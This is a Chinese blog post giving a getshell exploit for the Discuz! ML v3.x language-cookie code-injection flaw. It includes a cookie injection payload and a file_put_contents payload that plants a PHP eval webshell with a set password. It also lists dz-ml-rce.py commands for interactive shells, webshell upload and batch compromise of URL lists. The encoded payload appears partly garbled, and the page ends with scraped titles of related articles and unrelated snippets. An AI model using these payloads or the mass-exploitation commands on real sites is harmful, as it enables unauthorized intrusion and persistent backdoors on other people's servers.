discuz!ml-3.x版本getshell
影响范围:
discuz! ml v3.x全版本。
产生原因
漏洞原因:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。
利用exp
1.cookie字段中会出现xxxx_xxxx_language字段,根本原因就是这个字段存在注入,导致的RCE
2.抓包找到cookie的language的值修改为xxxx_xxxx_language=sc'.phpinfo().'
3.getshell 的payload:
'.+file_put_contents('shell.php',urldecode('')).'
进行url编码:%.%2Bfile_put_contents%%27shell.php%%2Curldecode%%%253C%253Fphp%2520eval%%2524_POST%255B%%%255D%%253B%253F%253E%%%.%
即可在路径下生成shell.php,连接密码为1
利用工具
工具名叫:dz-ml-rce.py ,是用py2写的,可以在github上下载。
断是否存在漏洞:
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php"
获取交互式shell:
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --cmdshell
上传一句话木马getshell:
python dz-ml-rce.py -u "http://www.xxx.cn/forum.php" --getshell
连接密码为“x”
批量检测:
python dz-ml-rce.py -f urls.txt
批量上马getshell:
python dz-ml-rce.py -f urls.txt --getshell
本地复现:
搭建好一个discuz!ml 版本的环境,我搭的是3.3版本的,下载源码后直接一键式建站,建完后访问主页:http://127.0.0.1/discuz!ml3.3/upload/forum.php
然后用工具测试:
发现存在此漏洞,那么直接获取个shell回来:
此工具针对此漏洞还蛮好用的。
discuz!ml-3.x版本getshell的更多相关文章
- Discuz! ML RCE漏洞 getshell 复现
0x01 影响版本 Discuz! ML V3.2 Discuz! ML V3.3 Discuz! ML V3.4 0x02 环境搭建 直接官网下载即可http://discuz.ml/downloa ...
- Discuz! ML远程代码执行(CVE-2019-13956)
Discuz! ML远程代码执行(CVE-2019-13956) 一.漏洞描述 该漏洞存在discuz ml(多国语言版)中,cookie中的language可控并且没有严格过滤,导致可以远程代码执行 ...
- Discuz ML RCE漏洞
1.漏洞描述 Discuz国际版漏洞存在于cookie的language可控并且没有严格过滤,导致可以远程代码执行. 2.产生原因:Discuz!ML 系统对cookie中的l接收的language参 ...
- Discuz ML! V3.X 代码注入漏洞
Discuz ML! V3.X 代码注入漏洞 前言 Discuz!ML是一个由CodersClub.org创建的多语言,集成,功能齐全的开源网络平台,用于构建像"社交网络"这样的互 ...
- 网站漏洞修复案例之Discuz!3.4最新版本
Discuz!论坛目前最新版本为3.4版本,已经好久没有更新了,我们SINE安全在对其网站安全检测的同时发现一处漏洞,该漏洞可导致论坛的后台文件可以任意的删除,导致网站瘫痪,后台无法登陆.关于该网站漏 ...
- 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞
0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...
- Web指纹识别目的Discuz识别+粗糙的版本演绎
这个识别程序是本学期在我的职业培训项目.它是做一类似至Zoomeye怪东西,然后使用ES集成,为了让搜索引擎寻找.因此,我们必须首先去网上识别相应的能力Web包裹,如果用户输入的关键词:Discuz ...
- Discuz利用UC_KEY进行前台getshell
来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html 先通过uc_key把恶意代码保存在/uc_client/data/ca ...
- discuz 6.1.0F前台getshell(据说通用6.x , 7.x)
EXP: 执行phpinfo()语句: GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replac ...
随机推荐
- 05讲基础篇:某个应用的CPU使用率居然达到100%,我该怎么办
小结 CPU 使用率是最直观和最常用的系统性能指标,更是我们在排查性能问题时,通常会关注的第一个指标.所以我们更要熟悉它的含义,尤其要弄清楚用户(%user).Nice(%nice).系统(%syst ...
- 《 Java 编程思想》CH05 初始化与清理
< Java 编程思想>CH05 初始化与清理 用构造器确保初始化 在 Java 中,通过提供构造器,类的设计者可确保每个对象都会得到初始化.Java 会保证初始化的进行.构造器采用与类相 ...
- Java查找数组重复元素,并打印重复元素、重复次数、重复元素位置
面试题查找重复元素并打印重复次数和重复位置,一顿懵逼,回来死磕写下来,打印指定重复次数和最大次数,其他在此基础上可以再更新 package sort; import org.testng.annota ...
- 《Python学习手册 第五版》 -第4章 介绍Python对象类型
本章的内容主要是介绍了Python的核心对象类型,后续的5.6.7.8.9章针对这些核心类型分别展开详细的说明 本章我认为重要的有几点 1.作者有谈到Python的知识结构,这个我感觉是一个大框架,可 ...
- 详解c++中对二维数组下标[][]的重载
首先定义一个矩阵类,我用一个二维数组存储矩阵中的数据,矩阵详细定义如下 class Matrix { public: Matrix(int rows, int cols) { _rows = rows ...
- Params:params 关键字可以指定在参数数目可变处采用参数的方法参数。
Params:params 关键字可以指定在参数数目可变处采用参数的方法参数. 注意点: 1.一个方法中只能使用一个params来声明不定长参数数组: 2.params参数数组只能放在已定义参数后面 ...
- Zookeeper 介绍 原理
简介: ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务. 它Google的Chubby一个开源的实现,在分布式协调技术方面做得比较好的就是Google的Chubby还有 ...
- PHP独立环境配置
php 下载地址: http://windows.php.net/download/ Apache 下载地址: http://www.apachelounge.com/download/ mysql ...
- 06_TypeScript泛型
1.泛型的定义 泛型就是解决 类,接口 方法的复用性,以及对不特定数据的支持(类型校验). 2.泛型函数 //T 表示泛型,具体什么类型是调用这个方法的时候决定的, //T可以用其他大写字母表示,传入 ...
- 微信小程序仿朋友圈功能开发(发布、点赞、评论等功能)
微信小程序仿朋友圈功能开发(发布.点赞.评论等功能) 1.项目分析 项目整体分为三个部分 发布 展示 详情页 graph LR 朋友圈发布 --内容发布--> 内容展示 内容展示 --点击展示卡 ...